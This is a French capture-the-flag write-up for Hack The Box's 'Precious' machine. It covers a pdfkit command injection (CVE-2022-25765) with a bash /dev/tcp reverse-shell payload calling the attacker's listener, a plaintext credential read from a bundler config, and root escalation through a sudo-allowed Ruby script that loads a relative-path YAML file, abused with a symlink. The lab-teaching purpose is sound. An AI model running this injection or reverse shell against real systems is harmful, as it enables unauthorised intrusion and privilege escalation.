HTB - Precious
#Htb #Precious #Pdfkit #RubyPrecious : une petite box classée easy avec pour le flag user une vulnerabilité de type injection de commande sur une version récente de pdfkit (somme toutes assez facile d’accès) et pour le root via une élévation de privilège via un chemin non contraint.
Reconnaissance
Scans
Comme d’habitude, un scan généraliste suivi d’un scan plus spécifique nous en apprend plus.
Le scan générique :
[x6r3g@e14 ~]$ nmap -p- --min-rate 10000 10.10.11.189
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-24 13:39 CET
Nmap scan report for 10.10.11.189
Host is up (0.099s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Le scan spécifique :
[x6r3g@e14 ~]$ nmap -sCV -p 22,80 10.10.11.189
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-24 13:40 CET
Nmap scan report for 10.10.11.189
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Donc comme prévu, une box linux avec du ssh et du web, ajout dans mon /etc/hosts de l’ip avec le nom : 10.10.11.189 precious.htb
Web
On découvre une simple page web qui permettrait de convertir une page web ciblée, en un fichier pdf :
Je teste quelques url extérieures sans succès, pas mieux sur le localhost ou sur http://precious.htb
Le code source de la page ne donne rien de plus, si ce n’est la méthode utilisée (POST) et le paramètre (url) à utiliser.
Je lance un serveur web avec une page de test pour vérifier le fonctionnement.
[x6r3g@e14 ~]$ cd /tmp
[x6r3g@e14 ~]$ nano test.html
[x6r3g@e14 ~]$ cat test.html
<!DOCTYPE html>
<html>
<head>
Test
</head>
<body>
Test !
</body>
</html>
[x6r3g@e14 ~]$ python3 -m http.server 8081 &
Test depuis l’appli web
Requête bien reçue
10.10.11.189 - - [24/Jan/2023 13:58:46] "GET /test.html HTTP/1.1" 200 -
fichier résultat généré
Je regarde de plus près un des fichiers pdf généré.
[x6r3g@e14 ~]$ exiftool bkxpfsdiaihwot0z7ymd1iuf208a8ogg.pdf
ExifTool Version Number : 12.16
File Name : bkxpfsdiaihwot0z7ymd1iuf208a8ogg.pdf
Directory : .
File Size : 9.8 KiB
File Modification Date/Time : 2023:01:24 11:43:25+01:00
File Access Date/Time : 2023:01:24 11:43:25+01:00
File Inode Change Date/Time : 2023:01:24 11:43:25+01:00
File Permissions : rw-rw----
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
La seule information intérresssante est que le fichier est généré par pdfkit en version 0.8.6 , il semble que ce soit une ancienne version.
Exploitation
La vulnérabilité
Après quelques recherches on arrive rapidement à la CVE-2022-25765 et à un PoC sur son exploitation.
Je teste le PoC
ça marche
10.10.11.189 - - [24/Jan/2023 14:07:38] "GET /test.html%7B'%20ruby'%7D HTTP/1.1" 404 -
Shell en tant que ruby
Après quelques vérifications sur l’environnement, quelques exécutions de commandes (pwd, ls , etc…) ce n’est pas très pratique donc je prend un shell avec netcat via cette url en paramètre dans l’application web :
http://10.10.16.36:8081/test.html{'%20bash -c ’exec bash -i &>/dev/tcp/10.10.16.36/9001 <&1’'}
[x6r3g@e14 ~]$ nc -lnvp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:57702.
bash: cannot set terminal process group (681): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ whoami
whoami
ruby
bash-5.1$ id
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Upgrade du shell
bash-5.1$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
bash-5.1$ ^Z
[1] + 2179 suspended nc -lnvp 9001
$ stty raw -echo; fg %1
[1] + 2179 continued nc -lnvp 9001
bash-5.1$
bash-5.1$
bash-5.1$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Flag user
En parcourant les différents dossiers, j’arrive dans le /home de Ruby, je cherche et trouve le fichier .bundle/config qui contient un mot de passe pour Henry.
[ruby@precious:/var/www/pdfapp]$ ls -alF /home/ruby/
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 24 08:24 ./
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ../
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle/
drwxr-xr-x 3 ruby ruby 4096 Jan 24 08:24 .cache/
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
[ruby@precious:/var/www/pdfapp]$ cd /home/ruby/
[ruby@precious:~]$ ls -alF
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 24 08:24 ./
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ../
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle/
drwxr-xr-x 3 ruby ruby 4096 Jan 24 08:24 .cache/
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
[ruby@precious:~]$ ls -alF .bundle/
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 ./
drwxr-xr-x 4 ruby ruby 4096 Jan 24 08:24 ../
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config*
[ruby@precious:~]$ ls -alF .bundle/config
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 .bundle/config*
[ruby@precious:~]$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
SSH en tant que Henry
[x6r3g@e14 ~]$ ssh henry@precious.htb
henry@precious.htb's password:
[henry@precious:~]$ cat user.txt
c7ea719************************
[henry@precious:~]$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
Flag root
Reconnaissance dans l’environnement d’Henry
[henry@precious:~]$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Allons voir ce que fait ce /opt/update_dependencies.rb qui peut donc être lancé en tant que root sans password.
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Il permet d’aller lire le fichier dependencies.yml (en tant que root du coup), le truc c’est qu’il n’y a pas de chemin de précisé pour le fichier. Il suffit de lancer le programme depuis un endroit où on peut écrire un fichier dependencies.yml, lancer le programme et il devrait lire (en tant que root…).
Finalement je créé plutôt un lien symbolique vers le root.txt (qui est toujours dans le /root …)
[henry@precious:/opt/sample]$ cd $HOME
[henry@precious:~]$ mkdir .x6r3g && cd .x6r3g/
[henry@precious:~/.x6r3g]$ ln -s /root/root.txt dependencies.yml
[henry@precious:~/.x6r3g]$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
/opt/update_dependencies.rb:20:in `<main>': undefined method `each' for "91dba6ca****************":String (NoMethodError)
It works !